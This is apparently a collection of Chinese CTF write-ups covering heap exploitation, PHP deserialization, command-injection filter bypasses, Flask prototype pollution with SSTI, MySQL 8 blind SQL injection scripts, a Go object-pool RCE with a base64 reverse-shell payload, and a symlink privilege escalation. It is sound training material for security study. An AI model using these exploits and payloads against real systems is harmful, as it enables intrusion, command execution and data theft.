shellcode = shellcraft.open('./flag')
shellcode += shellcraft.read(3, 0x404090, 0x50)
shellcode += shellcraft.write(1, 0x404090, 0x50)
payload1 = asm(shellcode)
io.sendlineafter(b"Please speak:",payload1)
payload2=b'a'*(0x40+8)+p64(ret)
io.sendlineafter(b"Do you have anything else to say?",payload2)
io.interactive()
梦中情pwn
高版本 glibc 的 tcache、uaf、off-by-one
检查文件

IDA 打开进入 main 函数中找到 FLAG 相关函数 implant\_core\_memory
int __fastcall implant_core_memory(__int64 a1)
{
char *v1; // rax
char *s; // [rsp+18h] [rbp-8h]
if ( !getenv("FLAG") )
{
printf("Unable to read core dreamscape. If you see this alert in a dream competition, please contact an administrator.");
exit(1);
}
s = (char *)malloc(0x40uLL);
v1 = getenv("FLAG");
snprintf(s, 0x40uLL, "%s", v1);
add_mem_to_record(a1, s);
return puts("Core dreams have infused and become the bedrock of memory.");
}
该函数分配 64 字节堆内存,将环境变量中的 FLAG 拷贝到该堆内存中,调用 add\_mem\_to\_record
记录该地址和内容,那么找到该内存就可以找到 flag,GDB 调试找到位于 heap 基址 +0x330 处

之后输出 4 个选项,类似很经典的 note 题目

输入 1 进入 implant\_user\_memory()
函数,堆块创建,存在堆溢出
__int64 __fastcall implant_user_memory(__int64 a1)
{
char s[64]; // [rsp+210h] [rbp-50h] BYREF
char *dest; // [rsp+250h] [rbp-10h]
int v4; // [rsp+25Ch] [rbp-4h]
printf("Please enter the content of the dream you wish to record (up to %d characters).\n", 64);
fgets(s, 64, stdin);
v4 = strnlen(s, 0x40uLL) - 1;
printf("The dream has been included and its length is: %d\n", v4);
dest = (char *)malloc(v4);
strcpy(dest, s);
if ( dest[v4] == 10 )
dest[v4] = 0;
return add_mem_to_record(a1, dest);
}
输入 2 进入 recall\_memory()
,show
int __fastcall recall_memory(__int64 a1, int a2)
{
const char *v3; // [rsp+10h] [rbp-10h]
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= a2; ++i )
{
v3 = *(const char **)(8LL * i + a1);
if ( !v3 )
return puts("This dream is a blur...");
if ( a2 == i )
return printf("Reliving a slice of a dream...\n\t\"%s\"", v3);
}
return puts("Failed to find that scene in the dream.");
}
输入 3 进入 erase\_memory()
,存在 UAF 漏洞
int __fastcall erase_memory(__int64 a1, int a2)
{
int i; // [rsp+1Ch] [rbp-4h]
free(*(void **)(8LL * a2 + a1));
for ( i = 0; i <= a2; ++i )
{
if ( !*(_QWORD *)(8LL * i + a1) )
return puts("That dream has long been lost in the mists of time...");
if ( a2 == i )
{
*(_QWORD *)(8LL * i + a1) = 0LL;
return printf("The %d layer of the dream has been erased.", i);
}
}
return puts("Dreams can't be localized.");
}
首先利用 UAF 漏洞泄露计算 heap 地址,接下来就是正常控制指针
利用 off-by-one 创建重叠堆块,也可以使用 double free
# # #!/usr/bin/env python3
# #
from pwn import *
context.terminal = ["tmux", "splitw", "-h"]
context.log_level = "debug"
encode = lambda e: e if type(e) == bytes else str(e).encode()
hexleak = lambda l: int(l[:-1] if l[-1] == b'\n' else l, 16)
fixleak = lambda l: unpack((l[:-1] if (l[-1] == b'\n' or l[-1] == '\n') else l).ljust(8, b"\x00"))
rfixleak = lambda l: unpack((l[:-1] if (l[-1] == b'\n' or l[-1] == '\n') else l).rjust(8, b"\x00"))
_base_ = lambda a: a[1:] if (a[0] == 'nc' and a) else a
parse = lambda a: _base_(a[1].split(':') if ':' in args[1] else a[1:])
def demangle(val):
mask = 0xfff << 52
while mask:
v = val & mask
val ^= (v >> 12)
mask >>= 12
return val
def attach(_input: bool = False):
if args.GDB:
gdb.attach(io, """
b *implant_user_memory+89
b *erase_memory+47
set max-visualize-chunk-size 0x500
""")
if _input: input("Continue?")
exe = "./m"
elf = context.binary = ELF(exe)
libc = elf.libc
#io = remote(*parse(sys.argv)) if args.REMOTE else process(argv=[exe], aslr=True)
io=remote()
def create_memory(memory, ln=True):
io.sendline(b"1")
(io.sendafter if not ln else io.sendlineafter)(b").", encode(memory))
def recollect_memory(idx):
io.sendline(b"2")
io.sendlineafter(b"access:", encode(idx))
def erase_memory(idx):
io.sendline(b"3")
io.sendlineafter(b"access:", encode(idx))
"""
Leak Heap Base
"""
create_memory(b"A"*(0x40-0x1))
create_memory(b"B"*(0x40-0x1))
erase_memory(1)
erase_memory(2)
create_memory(b"C"*0x20)
recollect_memory(2)
io.recvuntil(b"...\n\t")
a=io.recvuntil(b"1)")[1:-3]
a=fixleak(a)
print(hex(a))
heap = demangle(a) - 0x380
info("heap @ %#x" % heap)
win = heap + 0x2a0
info("win @ %#x" % win)
"""
Fill existing heap
"""
create_memory(b"A"*(0x40-0x1))
create_memory(b"B"*(0x40-0x1))
"""
Utilize the off-by-one to create
overlapping chunks.
"""
create_memory(b"D"*0x26)
create_memory(b"E"*0x10)
erase_memory(0x5)
create_memory(b"E"*0x28+b"\x11\x00")
create_memory(b"F"*0x10)
create_memory(b"G"*0x10)
erase_memory(0x5)
create_memory(b"E"*0x28+b"\x31\x00")
#gdb.attach(io)
erase_memory(0x8)
erase_memory(0x7)
erase_memory(0x6)
create_memory(flat(
b"F"*0x20,
p64((heap >> 12) ^ win)
))
print(hex((heap >> 12) ^ win))
create_memory(b"AAAAAAAA")
# This allocation is overwrite
create_memory(b"AAAAAAAA"+p64(heap + 0x330))
recollect_memory(1)
io.interactive()
WEB
ez_php
php 反序列化
关键点:
利用 GOGOGO
下的 \_\_destruct
触发 DouBao
下的 \_\_toString
,接着触发 HeiCaFei
下的 \_\_call
利用 Error 类或者数组来绕过 md5 和 sha1
还有个 throw new Exception('What do you want to do?');
会导致 \_\_destruct
无法触发
利用 GC 垃圾回收机制绕过
<?php
error_reporting(0);
class GOGOGO{
public $dengchao;
function __destruct(){
echo "Go Go Go~ 出发喽!" . $this->dengchao;
}
}
class DouBao{
public $dao;
public $Dagongren;
public $Bagongren;
function __toString(){
if( ($this->Dagongren != $this->Bagongren) && (md5($this->Dagongren) === md5($this->Bagongren)) && (sha1($this->Dagongren)=== sha1($this->Bagongren)) ){
echo "success";
call_user_func_array($this->dao, ['诗人我吃!']);
}
}
}
class HeiCaFei{
public $HongCaFei;
function __call($name, $arguments){
call_user_func_array($this->HongCaFei, [0 => $name]);
}
}
$a = new GOGOGO();
$b = new DouBao();
$test1 = new Error("payload", 1);$test2 = new Error("payload", 2);
$c1 = new HeiCaFei();
$c2 = new HeiCaFei();
$c2->HongCaFei = "system";
$c1->HongCaFei = [$c2, "cat\${IFS}/of*"];
$b->dao = [$c1, 'test'];
$b->Dagongren = $test1;
$b->Bagongren = $test2;
$a->dengchao = $b;
$pop = array($a, 0);
# str_replace("i:1;i:0;", "i:0;i:0;",
# echo urlencode(serialize($pop));
echo str_replace("i%3A1%3Bi%3A0%3B%7D", "i%3A1%3Bi%3A0%3B", urlencode(serialize($pop)));
?>
DeceptiFlag

f12 把隐藏输入框显示出来


根据背景图和参数名还有这个题目描述:“huitailang这次真的把flag藏好了” 的提示按照顺序回答喜羊羊和灰太狼的拼音
xiyangyang
huitailang

跳转到了新页面。注意到 url 处有 ?file=flag
猜测有文件包含

删掉 file
的参数会报错

可以看到在参数后会自带一个 php,所以之前的 flag 就是读的 flag.php
在 cookie 处看到一个 hint

Base64 解码一下

直接读取会被拦,这里用伪协议读取文件
/tips.php?file=php://filter/read=convert.base64-encode/resource=/var/flag/flag.txt
解码就是 flag

Really_Ez_Rce
代码如下:
<?php
header('Content-Type: text/html; charset=utf-8');
highlight_file(__FILE__);
error_reporting(0);
if (isset($_REQUEST['Number'])) {
$inputNumber = $_REQUEST['Number'];
if (preg_match('/\d/', $inputNumber)) {
die("不行不行,不能这样");
}
if (intval($inputNumber)) {
echo "OK,接下来你知道该怎么做吗";
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
if (!preg_match(
'/wget|dir|nl|nc|cat|tail|more|flag|sh|cut|awk|strings|od|curl|ping|\\*|sort|zip|mod|sl|find|sed|cp|mv|ty|php|tee|txt|grep|base|fd|df|\\\\|more|cc|tac|less|head|\.|\{|\}|uniq|copy|%|file|xxd|date|\[|\]|flag|bash|env|!|\?|ls|\'|\"|id/i',
$cmd
)) {
echo "你传的参数似乎挺正经的,放你过去吧<br>";
system($cmd);
} else {
echo "nonono,hacker!!!";
}
}
}
}
Number 用数组绕过,传入 Number\[]=1
cmd 过滤了比较多,这里可以使用拼接绕过
cmd=a=l;b=s;$a$b / #执行 ls /
看到 flag.txt

cat 可以同样拼接出来 但是 .
被过滤了。这里用 ls -a
去取一个点来绕过过滤,如下:
cmd=a=c;b=at;c=f;d=lag;e=t;f=xt;g=l;h=s;i=h;j=ead;k=$($g$h -a | $i$j -n 1);$a$b /$c$d$k$e$f
#最终执行的命令如下:
#cat /flag(ls -a | head -n 1)txt

奇怪的咖啡店
给了源码
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return "添加失败1"
merge(json_data, add)
return "你无法添加商品哦"
except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
app.run(host="0.0.0.0",port=5014)
存在 merge
函数
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
明显是原型链污染的函数,找下触发点,在 /add
路由下
merge(json_data, add)
而且参数 json\_data
可控,可以看到在触发 merge
之前存在 check,但是给的源码中并没有定义 check,所以可以猜测到源码并没有给全,而且需要绕过该 check
在 index.html 中可以看到图片存在于 /static/img
中,而 Python 原型链污染是可以污染静态路由 static 的
{
"__globals__":{
"app":{
"_static_folder":"./"
}
}
}
直接污染的话会被check,编码绕过一下
{
"__\u0067\u006c\u006f\u0062\u0061\u006c\u0073__":{
"\u0061\u0070\u0070":{
"_\u0073\u0074\u0061\u0074\u0069\u0063_\u0066\u006f\u006c\u0064\u0065\u0072":".\u002f"
}
}
}
访问 /static/app.py 即可拿到完整的源码
from flask import Flask, session, request, render_template_string, render_template
import json
import os
app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32).hex()
@app.route('/', methods=['GET', 'POST'])
def store():
if not session.get('name'):
session['name'] = ''.join("customer")
session['permission'] = 0
error_message = ''
if request.method == 'POST':
error_message = '<p style="color: red; font-size: 0.8em;">该商品暂时无法购买,请稍后再试!</p>'
products = [
{"id": 1, "name": "美式咖啡", "price": 9.99, "image": "1.png"},
{"id": 2, "name": "橙c美式", "price": 19.99, "image": "2.png"},
{"id": 3, "name": "摩卡", "price": 29.99, "image": "3.png"},
{"id": 4, "name": "卡布奇诺", "price": 19.99, "image": "4.png"},
{"id": 5, "name": "冰拿铁", "price": 29.99, "image": "5.png"}
]
return render_template('index.html',
error_message=error_message,
session=session,
products=products)
def add():
pass
@app.route('/add', methods=['POST', 'GET'])
def adddd():
if request.method == 'GET':
return '''
<html>
<body style="background-image: url('/static/img/7.png'); background-size: cover; background-repeat: no-repeat;">
<h2>添加商品</h2>
<form id="productForm">
<p>商品名称: <input type="text" id="name"></p>
<p>商品价格: <input type="text" id="price"></p>
<button type="button" onclick="submitForm()">添加商品</button>
</form>
<script>
function submitForm() {
const nameInput = document.getElementById('name').value;
const priceInput = document.getElementById('price').value;
fetch(`/add?price=${encodeURIComponent(priceInput)}`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: nameInput
})
.then(response => response.text())
.then(data => alert(data))
.catch(error => console.error('错误:', error));
}
</script>
</body>
</html>
'''
elif request.method == 'POST':
if request.data:
try:
raw_data = request.data.decode('utf-8')
if check(raw_data):
#检测添加的商品是否合法
return "该商品违规,无法上传"
json_data = json.loads(raw_data)
if not isinstance(json_data, dict):
return "添加失败1"
merge(json_data, add)
return "你无法添加商品哦"
except (UnicodeDecodeError, json.JSONDecodeError):
return "添加失败2"
except TypeError as e:
return f"添加失败3"
except Exception as e:
return f"添加失败4"
return "添加失败5"
@app.route('/aaadminnn', methods=['GET', 'POST'])
def admin():
if session.get('name') == "admin" and session.get('permission') != 0:
permission = session.get('permission')
if check1(permission):
# 检测添加的商品是否合法
return "非法权限"
if request.method == 'POST':
return '<script>alert("上传成功!");window.location.href="/aaadminnn";</script>'
upload_form = '''
<h2>商品管理系统</h2>
<form method=POST enctype=multipart/form-data style="margin:20px;padding:20px;border:1px solid #ccc">
<h3>上传新商品</h3>
<input type=file name=file required style="margin:10px"><br>
<small>支持格式:jpg/png(最大2MB)</small><br>
<input type=submit value="立即上传" style="margin:10px;padding:5px 20px">
</form>
'''
original_template = 'Hello admin!!!Your permissions are{}'.format(permission)
new_template = original_template + upload_form
return render_template_string(new_template)
else:
return "<script>alert('You are not an admin');window.location.href='/'</script>"
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def check(raw_data, forbidden_keywords=None):
"""
检查原始数据中是否包含禁止的关键词
如果包含禁止关键词返回 True,否则返回 False
"""
# 设置默认禁止关键词
if forbidden_keywords is None:
forbidden_keywords = ["app", "config", "init", "globals", "flag", "SECRET", "pardir", "class", "mro", "subclasses", "builtins", "eval", "os", "open", "file", "import", "cat", "ls", "/", "base", "url", "read"]
# 检查是否包含任何禁止关键词
return any(keyword in raw_data for keyword in forbidden_keywords)
param_black_list = ['config', 'session', 'url', '\\', '<', '>', '%1c', '%1d', '%1f', '%1e', '%20', '%2b', '%2c', '%3c', '%3e', '%c', '%2f',
'b64decode', 'base64', 'encode', 'chr', '[', ']', 'os', 'cat', 'flag', 'set', 'self', '%', 'file', 'pop(',
'setdefault', 'char', 'lipsum', 'update', '=', 'if', 'print', 'env', 'endfor', 'code', '=' ]
# 增强WAF防护
def waf_check(value):
# 检查是否有不合法的字符
for black in param_black_list:
if black in value:
return False
return True
# 检查是否是自动化工具请求
def is_automated_request():
user_agent = request.headers.get('User-Agent', '').lower()
# 如果是常见的自动化工具的 User-Agent,返回 True
automated_agents = ['fenjing', 'curl', 'python', 'bot', 'spider']
return any(agent in user_agent for agent in automated_agents)
def check1(value):
if is_automated_request():
print("Automated tool detected")
return True
# 使用WAF机制检查请求的合法性
if not waf_check(value):
return True
return False
app.run(host="0.0.0.0",port=5014)
可以看到还存在 /aaadminnn
路由,会判断 session 中的 name 是否为 admin
,permission 处存在 ssti。所以需要伪造session,并且密钥可以污染
{
"__\u0067\u006c\u006f\u0062\u0061\u006c\u0073__" : {
"\u0061\u0070\u0070" : {
"\u0063\u006f\u006e\u0066\u0069\u0067" : {
"\u0053ECRET_KEY" :"P"
}
}
}
}
利用网上的脚本伪造 session,脚本项目地址:https://github.com/noraj/flask-session-cookie-manager
ssti 可以先在本地打通
python flask_session_cookie_manager3.py encode -s "P" -t "{'name': 'admin','permission':'{{().__class__.__mro__.__getitem__(1).__subclasses__().__getitem__(133).__init__.__globals__.__builtins__.__import__(request.args.v1).popen(request.values.v2).read()}}'}"
执行命令即可,flag在 4flloog
(环境变量忘记删了,环境变量里也有)
半成品 login
一个登陆框,弱密码 admin/admin123
可以进入后台

可以看到留言提示是要去登录到 hacker\*\*\*\*\*
获取 flag。但是用户名和密码都未知,并且注册和忘记密码都未开放。
登陆框尝试 sql 注入,password 处存在 sql注入但是存在过滤。
过滤了单引号,使用url双编码绕过;过滤了 or
用 ||
绕过;过滤了空格 用/**/绕过
username=admin&password=1%2527||1=1#

用 order by
判断列数
username=admin&password=1%2527order/**/by/**/4#
username=admin&password=1%2527order/**/by/**/5#


判断为 4 列。select
被过滤,考虑 mysql8 的特性注入。
确认 mysql 版本:
username=admin&password=1%2527||@@version/**/LIKE/**/%2527%8.%%2527#
#1'||@@version/**/LIKE/**/'%8.%'

使用 mysql8 新特性的 table 注入,但由于 table 注入需要知道表名,可以利用一些系统表或系统视图来获取表名。根据登陆成功和登录失败的返回可以编写布尔盲注脚本
import requests
import time
url = "http://124.71.84.202:10071/login.php"
flagstr = "0123456789:;<=>?@_`abcdefghijklmnopqrstuvwxyz{|}~"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
tempstr = ""
flag = ""
for i in range(1,15):
for idx in range(len(flagstr)): # 使用索引遍历
x = flagstr[idx] # 获取当前字符
prefix = tempstr + x
payload1 = "1%27/**/||(%27{}%27,%271%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr+x)
#获得数据库名:hnctfweb
payload2 = "1%27/**/||(%27hnctfweb%27,%27{}%27,%2711%27,%2711%27)<(table/**/sys.schema_tables_with_full_table_scans/**/limit/**/1)#".format(tempstr+x)
#获得表名:hnctfuser
payload3 = "1%27/**/||(%27{}%27,%27%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
#获得第一列id值:1
payload4 = "1%27/**/||(%271%27,%27{}%27,%271%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr+x)
#获得第二列username值:admin
payload5 = "1%27/**/||(%271%27,%27admin%27,%27{}%27,%2711%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
#获得第三列password值:admin123
payload6 = "1%27/**/||(%271%27,%27admin%27,%27admin123%27,%27{}%27)<(table/**/hnctfuser/**/limit/**/1)#".format(tempstr + x)
#获得第四列值:noflaginhere
payload7 = "1%27/**/||(%27{}%27,%271%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
#获得id值:2
payload8 = "1%27/**/||(%272%27,%27{}%27,%271%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
#获得需要的关键用户名:hacker*****
payload9 = "1%27/**/||(%272%27,%27hackerohtii%27,%27{}%27,%271%27)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1)#".format(tempstr + x)
data = {
"username":"admin",
"password":payload8
}
res = requests.post(url=url,data=data,allow_redirects=False,headers=headers)
#print(payload)
if "登陆成功" in res.text:
continue
elif "错误" in res.text:
current_char = flagstr[idx - 1]
if current_char == '~':
print("遇到 ~,提前终止,请确认数据是否正确。")
break
tempstr += current_char
flag = tempstr
print(f"当前结果: {flag}")
break
print(f"最终结果: {flag}")
这里使用了 MySQL 的性能视图 sys.schema_tables_with_full_table_scans
。正常情况下,只有当某些 SQL 被实际执行过之后,Performance Schema
才会将相关信息汇总到该视图中
因此,为了模拟 “黑客已攻击完成” 的状态,在构建 Docker 镜像时,提前在登录后访问后台时执行了一条不会产生回显的 SQL(对黑客攻击未加索引的表进行查询),模拟黑客的访问行为。
然而,由于 Performance Schema
的机制限制,这些数据并不会立即出现在视图中,需要系统真正运行一次查询流程后才会被汇总。因此,需要先访问一次登录后的后台页面,以触发 Performance Schema
的数据刷新机制,之后才能在 sys.schema_tables_with_full_table_scans
中看到黑客留下的痕迹。
这里的关键用户名的 hacker\*\*\*\*\*
后五位是随机生成的,需要注出来


输入 hacker\*\*\*\*\*
账号密码登录即可获得 flag

二分法:
import requests
import string
# 扩展字符集(包含大写字母)
dicts = string.digits + string.ascii_letters + '~'
# 转换头部为字典格式
headers_str = '''Referer: http://27.25.151.198:43272/
Cookie: PHPSESSID=b6e68871b8b2319810380bce1558b4b0
Cache-Control: max-age=0
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Origin: http://27.25.151.198:43272/
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7'''
headers_dict = {}
for line in headers_str.split('\n'):
if ': ' in line:
key, value = line.split(': ', 1)
headers_dict[key] = value
url = 'http://27.25.151.198:36643/login.php'
# 优化后的爆破函数
def blind_injection():
payload = ''
while True:
last_true_char = None
found_next_char = False
tilde_found = False # 标记是否遇到了波浪符
for char in dicts:
test_str = payload + char
post_data = f'username=admin&password=1%2527||((%25272%2527,%2527hackerojwrx%2527,%2527{test_str}%2527,%25271%2527)<(table/**/hnctfuser/**/limit/**/1/**/offset/**/1))#'
response = requests.post(
url=url,
data=post_data,
headers=headers_dict,
allow_redirects=False
)
# 打印当前测试的payload
print(f"Testing: {test_str} -> Status: {response.status_code}")
if '登录成功' in response.text:
# 记录最后成立的字符
last_true_char = char
print(f"Condition TRUE for: {test_str}")
# 如果遇到波浪符,终止整个爆破过程
if char == '~':
print("遇到 ~,终止整个爆破过程")
# 不添加波浪符到payload
# 直接返回当前结果
print(f"最终结果: {payload}")
return payload
else:
# 当遇到第一个不成立的字符时
print(f"Condition FALSE for: {test_str}")
# 处理数字边界
if last_true_char and last_true_char in string.digits and char in string.digits:
if int(last_true_char) + 1 == int(char):
payload += last_true_char
print(f"Digit boundary found: {payload}")
found_next_char = True
break
# 处理非数字或数字边界后仍有字符的情况
if last_true_char:
payload += last_true_char
print(f"Character found: {last_true_char} -> Payload: {payload}")
found_next_char = True
break
# 处理开头就不成立的情况
if not payload and not last_true_char:
print("No characters match, stopping.")
return None
# 处理遍历完字符集但未找到边界的情况
if not found_next_char:
if last_true_char:
payload += last_true_char
print(f"Last character in set: {last_true_char} -> Payload: {payload}")
else:
print(f"No further characters found. Final payload: {payload}")
return payload
return payload
# 执行爆破
print("Starting blind SQL injection...")
result = blind_injection()
print(f"爆破结果: {result}")
[WEB+RE]Just Ping Part 1
这个题的逆向部分其实就是 ida
打开后 F5
看源码,下面分析一下

主要实现了两个接口 /api/ping
和 /api/testDevelopApi
。
在前端也是有写的


继续找具体的实现函数 PingHandle
看一下关键的部分

如果用户传入 target
并且合法,进入这里从对象池中获取 *[]string
对象
随后设置了一个 defer
在函数退出时执行


就是将从池中获取的对象重新返回池中,但是这里在放回池中之前没有任何的清理动作,也就是说下次取用这个对象时这些数据仍会存在

这里就是将字符串数组的最后一个元素替换为用户传入的 target
了

最后的执行和输出,然后来看 DevelopmentHandler

大体上和 PingHandle
相似,只不过没有真正的执行命令

同样的取对象和设置 defer
放回池

解析用户输入到 []string
,同时检查错误和 []string
的长度,这里可以看到长度限制最大为 4
最后将解析的 []string
赋值到前面从池中取出的对象,后面并没有执行就结束了
到这里逻辑就清晰了,访问 /api/testDevelopApi
接口可以污染对象池中的对象,然后再访问 /api/ping
接口就可以执行恶意命令
/api/testDevelopApi?cmd=sh%20-c%20%22ls%20%2F%22%20hnctf
这里注意输入命令和三个参数,最后一个随意但是需要有
/api/ping?target=127.0.0.1
这时最后一个元素 hnctf
会被替换为 127.0.0.1
,这并不影响我们执行命令
执行 ls /
命令

拿 flag
/api/testDevelopApi?cmd=sh%20-c%20%22cat%20%2Fflag%22%20hnctf
/api/ping?target=127.0.0.1

[WEB+RE]Just Ping Part 2
web
部分和 part1
一样,直接反弹 shell
的 payload
sh%20-c%20%22echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC9pcC9wb3J0IDA%2BJjEK%20%7C%20base64%20-d%7C%20%2Fbin%2Fbash%22%20hnctf
//替换自己监听的ip port
/api/ping?target=127.0.0.1
getshell
后先看看有什么特殊的东西没。在 /var/backups
下看见一个每分钟都会刷新的 backup.zip
使用 base64
输出 然后 down
下来看看
base64 backup.zip

解压之后没有看到什么信息 这里就一个 healthy
文件,内容是 ok
这里肯定是题目设定的 所以尝试用 find
去搜索 backup
相关的内容,看是否有其他的文件
find / -name "*backup*" 2>/dev/null
看到特殊的如下图:

分别看看 /usr/local/etc/backup
和 /usr/local/backupList
/usr/local/backupList:

看到有一个路径 /root/healthy
刚刚那个压缩包里也是叫 healthy
的文件。再把/usr/local/etc/backup
拿下来分析一下

直接看 main
函数就明了了,会通过 ../backupList
文件中的目录来决定需要备份哪些文件进 /var/backups/backup.zip
注意到用到了这个函数os.executable()
func Executable added in go1.8
func Executable() (string, error)
Executable returns the path name for the executable that started the current process. There is no guarantee that the path is still pointing to the correct executable. If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. If a stable result is needed, path/filepath.EvalSymlinks might help.
Executable returns an absolute path unless an error occurred.
The main use case is finding resources located relative to an executable.
它会获取可执行文件的绝对路径,再和下面的 filepath.Dir()
和 filepath.Abs()
组合,就可以拿到可执行文件绝对路径的目录路径,这时再拼接 ../backupList
取上级目录的 backupList
这里有可乘之机,先看一下 /usr/local/etc/
的权限

拥有完全的读写权限,开始操作:在 etc
下创建一个 tmp
目录,将 backup
程序移动进去,同时创建 backupList
文件在 etc
目录下,包含 /root/flag
内容

在 etc
下创建 backup
的软链接

随后静待 backup.zip
刷新,base64
后拿下来解压即可


至于 md5
校验,软链接并不影响 md5
Watch
这个题其实挺简单的,但是没想到只有十多个解。
注意go
版本为1.20.10
。看一看代码,主要是实现了一个目录、文件的浏览功能,使用 /SystemRoot/
作为初始目录,实际上就是 C:\Windows

用的是 Windows NT Api
,拼接后的路径需要是 NT Api
可解析的路径

可以使用 \??\D:\
来访问到各盘符,但是如何使 /SystemRoot/
与传入路径拼接后得到呢?
这里需要提到 go1.20
的漏洞了
Vulnerability Report: GO-2023-2185

简而言之,在这个版本下 \SystemRoot\..\??\D:\
这样的路径会被错误的输出为 \??\D:\
,从而导致穿越。而在新版会变成 \.\??\D:\
,就不会导致穿越
于是构造 payload
为 ..\??\D:\key.txt
即可拿到 key

而新版本则会出现下列提示

Misc
乱成一锅粥了
wireshark 提取出 9 个压缩包,每个压缩包内包含 50 个由 MD5 32 位编码文件名的 txt 文件,压缩包的包名对应小键盘的 9 个数字,最后将得到的图片按照小键盘数字序号排列
import os
import hashlib
def merge_text_files(input_dir="Down", output_file="merged_text.txt"):
if not os.path.exists(input_dir):
print(f"Error:'{input_dir}' no exist")
return
files = [f for f in os.listdir(input_dir) if f.endswith('.txt')]
if not files:
print(f"Error: '{input_dir}' no file")
return
file_order = {}
for filename in files:
md5_hash = filename[:-4]
for i in range(1, 51):
original_name = f"{i:02d}"
calculated_hash = hashlib.md5(original_name.encode('utf-8')).hexdigest()
if calculated_hash == md5_hash:
file_order[i] = os.path.join(input_dir, filename)
break
if len(file_order) != len(files):
print("Warning: The original sequence of some files cannot be determined.")
merged_text = []
for i in sorted(file_order.keys()):
try:
with open(file_order[i], 'r', encoding='utf-8') as f:
merged_text.append(f.read())
except Exception as e:
print(f"An error occurred while reading file {file_order[i]}: {str(e)}")
full_text = ''.join(merged_text)
with open(output_file, 'w', encoding='utf-8') as f:
f.write(full_text)
if name == "__main__":
merge_text_files()
星辉骑士
首先得到一个文档,可知 docx 其实是 zip 文件,然后丢 010 看到

然后看到有个 flag.zip 文件,然后改后缀找到 flag.zip

然后解压要密码,先看是不是伪加密,丢随波逐流发现是伪加密

然后解压得到一堆文本发现全是邮件,

看到图中是一堆邮件,联想到垃圾邮件,找到解密网站。解密得到 flag

芙宁娜的图片
首先解压得到一张图片和一个文本,

然后文本里面是 brian 加密,然后解密得到一串被加密的字符串

把图片丢进 010 看到有 lsb 隐写,得到 key:H\&N2025

然后找带 key 加密,试出是维吉尼亚解密,得到 flag

谁动了黑线?
首先看 csv
from_address,to_address,amount_sol,timestamp,tx_hash
5种类型的数据
from\_address
:发送方地址to\_address
:接收方地址amount\_sol
:交易金额(单位可能是 SOL)timestamp
:交易时间戳tx\_hash
:交易哈希值
交易数据总量是 7030 条,
可推出交易深度为 5,每层为 5 个分支
所以一个完整的交易链应该包含 7 个地址
不难发现,tx\_hash
这一列的数据是 base58 加密后的
